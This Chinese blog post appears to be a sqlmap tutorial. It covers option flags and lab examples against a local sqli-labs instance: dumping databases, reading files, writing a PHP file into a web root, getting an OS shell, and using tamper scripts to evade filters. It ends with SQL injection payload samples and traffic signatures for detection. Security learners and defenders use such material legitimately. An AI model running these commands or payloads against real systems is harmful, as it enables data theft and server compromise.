#安全#--Sqlmap工具

SQLMAP是一种开源渗透测试工具,可自动执行SQL注入缺陷的检测和注入过程,并接管数据库服务器。它有强大的检测引擎,针对不同类型的数据库提供多样的渗透测试功能选项,实现数据库识别、数据获取、访问DBMS\操作系统甚至通过带外数据连接的方式执行操作系统的命令。以及从数据库指纹识别、从数据库获取数据、 通过带外连接在操作系统上执行命令。

自动化SQL注入检测工具

它可以读取数据库内容

获取数据库权限、系统权限

SQLMAP支持检测MySQL、Oracle、PostgreSQL、MSSQL、Access、IBM DB2、SQLite等数据库得各种安全漏洞。

采用五种SQL注入技术分别是:布尔盲注、时间盲注、报错注入、联合查询、堆叠注入

工具官网:http://sqlmap.org

SQLMAP使用

python3 sqlmap.py -h #查看帮助信息

target目标选项

漏洞检测

-d 指定直接数据库连接的连接字符串,直接连接到数据库。

-u 指定URL目标

-l 从Burp或webscarab代理的日志中解析目标

-m 扫描文本文件给出的多个目标,批量扫描

-r 从文本中加载HTTP请求。*标注注入位置

-g 将Google Dork的结果作为目标URLh

-p 指定注入点

techniques方法

参数

描述

-a

获取所有信息

-current-user

获取DBMS当前用户

--current-db

获取DBMS当前数据库

--hostname

获取DBMS当前主机名

--is-dba

检测当前用户是否为管理员用户

--users

枚举DBMS用户

--passwords

枚举DBMS用户密码 哈希hash

--dbs

枚举DBMS数据库

--tables

枚举DBMS数据库中的表

--columns

枚举DBMS数据库表的列名

--dump

转储DBMS数据库表

--dump-all

转储DBMS所有数据库表

-D db_name

指定要求枚举的DBMS数据库名

-T table_name

指定要枚举的DBMS表

-C columns_name

指定要枚举的DBMS列

--batch

从不询问用户输入,使用所有默认配置

request请求选项

参数

描述

--data=DATA

通过POST方式发送数据字符串

--cookle=COOKLE

HTTP Cookle头

--user-agent=AGENT

指定HTTP User-Agent头

--random-agent

使用随机选定的HTTP User-Agent头

--host=HOST

指定HTTP HOST

--referer=REFERER

指定HTTP Referer header

--ignore-proxy

忽略系统默认代理配置

--proxy=PROXY

使用代理连接目标URL

--delay=DELAY

可以设定两个请求间的延迟

--timeout=TIMEOUT

可以设定一个请求超过多久判定为超时

--force-ssl

强制使用SSL/HTTPS

--threads=THREADS

HTTP(s)最大并发请求数(默认是1)

--dbms=DBMS

强制指定后端DBMS

--os=OS

强制指定后端的DBMS操作系统

--tamper

使用指定的脚本修改注入数据

detection探测选择

这些选项可用于自定义阶段检测

选项

描述

--level=LEVEL

测试等级(1-5,default 1)

--risk=RISK

测试的风险等级(1-3,default 1)

--technlque

来指定要使用那种注入模式,快速扫描

共有五个等级,默认为1,sqlmap使用的payload可以在 data/xml/payloads.xml中看到,自己也可以根据相应的格式添加自己的payload。

漏洞探测等级

○ --level 1 默认的等级,会进行基本的测试,包括GET和POST方式

○ --level 2 在原有的基础上增加对cookie的检测

○ --level 3 增加对USER AGENT/REFERER的检测

○ --level 4 更多的payload

○ --level 5 最高等级,包含所有的payload,会尝试自动破解出cookie、xff等头部注入(速度最慢)

指定注入技术

基于布尔的盲注(B):即可以根据返回页面判断条件的真假注入

基于时间的盲注(T):既不能根据页面返回内容判断任何任何信息,用条件语句查看时间延迟语句是否执行(即页面返 回时间是否增加)来判断

基于报错注入(E):即页面返回错误信息,或者把注入的语句的结果直接返回页面中

联合查询注入(U):可以使用union的情况下的注入

堆查询注入(S):可以同时执行多条语句的注

访问文件系统

使用条件

1. 知道网站的绝对路径

2. 高权限数据库用户

3. secure_file_priv=''无限制

--file-read=D:/1.txt 从后端的数据库管理系统文件系统读取文件

--file-write=WRITE 编辑后端的数据库管理系统的文件系统上的本地文件

--file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径

权限操作-文件&命令&交互式

--os-shell原理

mysql:sqlmap上传一个二进制库,包含用户自定义的函数sys_exec()和sys_eval()。利用这两个函数可以执行系统命令

MSSQL:sqlmap将会使用xp_cmdshell存储过程,如果被禁用了,sqlmap会尝试重新启用它,如果不存在,会尝试自动创建。

使用条件*

1. 知道网站的绝对路径 (敏感信息泄露,源码泄露,程序报错,猜解)

2. 高权限数据库用户(mysql:root | mssql:sa)

3. secure_file_priv限制

分析拓展-代理&调试&指纹

1.后期分析调试

-v

RBOSE信息级别: 0-6 (缺省1)

其值具体含义:

0只显示python错误以及严重的信息;

1同时显示基本信息和警告信息(默认);

2同时显示debug信息;

3同时显示注入的payload;

4同时显示HTTP请求;

5同时显示HTTP响应头;

6同时显示HTTP响应页面;如果想看到sqlmap发送的测试payload最好的等级就是3。

-proxy

设置代理

-proxy="http://127.0.0.1:8080"

2.打乱默认指纹

--user-agent

自定义User-Agent

python3 sqlmap.py -u "http://www.baidu.com" --user-agent "UA"

--random-agent

随机User-Agent

python3 sqlmap.py -u "http://www.baidu.com" --radmon-agent

SQLMAP常见使用

判断是否存在注入

python3 sqlmap.py -u "http://192.168.10.1/BC/sqli-labs-master/Less-1/?id=1"

判断当前用户是否为dbs

Python3 sqlmap.py -u "http://192.168.10.1/BC/sqli-labs-master/Less-1/?id=1" --is-dba

查看数据库用户

Python3 sqlmap.py -u "http://192.168.10.1/BC/sqli-labs-master/Less-1/?id=1" --current-user

判断当前数据库

Python3 sqlmap.py -u "http://192.168.10.1/BC/sqli-labs-master/Less-1/?id=1" --current-db

查看所有数据库

Python3 sqlmap.py -u "http://192.168.10.1/BC/sqli-labs-master/Less-1/?id=1" --dbs

枚举当前数据库的表

Python3 sqlmap.py -u "http://192.168.10.1/BC/sqli-labs-master/Less-1/?id=1" -D 数据库名 -- tables

枚举表中的字段名

Python3 sqlmap.py -u "http://192.168.10.1/BC/sqli-labs-master/Less-1/?id=1" -D 数据库名 -T 表 名 --columns

枚举字段下数据

Python3 sqlmap.py -u "http://192.168.10.1/BC/sqli-labs-master/Less-1/?id=1" -D 数据库名 -T 表 名 --dump

post注入

Python3 sqlmap.py -r 1.txt *标记注入点

PS:以下操作需要获取到Web网站绝对路径

读取Linux下的文件

sqlmap -u "http://xxx/sqli/Less-4/?id=1" --file-read "c:/test.txt"

上传文件到服务器

python3 sqlmap.py -u "192.168.174.1/BC/sqli-labs-master/Less-2/?id=1" --file-write C:\1.php --file-dest "C:\phpStudy\PHPTutorial\WWW\2.php"

#将本地的C:\1.php文件上传到目标服务器C:\phpStudy\PHPTutorial\WWW\2.php

执行shell命令

Python3 sqlmap.py -u url --os-cmd='whoami'

Python3 sqlmap.py -u url --os-shell

tamper绕过

使用方法:sqlmap -u [url] --tamper [模块名]

space2comment.py 用/**/代替空格

apostrophemask.py 用utf8代替引号

equaltolike.py like代替等号

base64encode.py 用base64编码替换

space2mssqlhash.py 替换空格

charencode.py url编码

SQL注入流量特征

1.参数长度异常:攻击者通常会在参数后来尝试构建恶意语句,因此流量特征中需要寻找异常长度 的参 数。

2.特殊字符:攻击者通常使用非法字符来构建恶意SQL语句,如:单引号、分号、注释符

3.异常请求:攻击者肯能会在HTTP请求中包含多个语句或查询、包含错误或缺失的参数。

4.错误响应:如果应用程序未正确处理SQL注入语句,则可能会返回错误响应。

5.非常规流量:攻击者可能会在短时间发送大量请求且请求中包含恶意的SQL语句字符等

http://127.0.0.1/CMS/lmxcms1.4/admin.php?m=Book&a=reply&id=1

127.0.0.1/CMS/lmxcms1.4/admin.php?m=Book&a=reply&id=1 if(sleep(5))

- 出现特殊字符

单双引号('")、注释符(--+ # /**/)、括号等(\ %df)

- 出现SQL语句

增加、删除、修改、查询语句或各语句之间的拼接。

union select updatexml(1,concat(0x7e,(select username) from users,0x7e),1) -- substr() ascii() frool

- 出现SQL函数 database()、updatexml()、extractvalue()、group_concat()、concat()、limit()、 if()、load_file()、sleep()、substr()、length()、exp()、order by()

- 出现各种编码

(url编码,base64编码等)可利用Burp或 者在线解/编码器进行操作查看是否有特殊字段。

SQLMAP流量特征

通过proxy参数让sqlmap把流量转发给burp来代理

静态特征

1.特征一:UA头

发送数据包时会默认使用sqlmap的ua头 (User-Agent: sqlmap/1.5.6.3#dev )

2.特征二:关键字

对数据库类型、XSS漏洞进行监测,而这句话几乎每次注入都是不变的,所以可以将这句话作为sqlmap的攻击特征之一

动态特征

--os-shell

- @@version_compile_os特征

- 尝试访问上传的脚本文件 (tmpuwxuv.php tmpuhalq.php)

- 测试命令执行语句特征 调用sys_eval() sys_exec() 尝试执行代码和系统命令

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值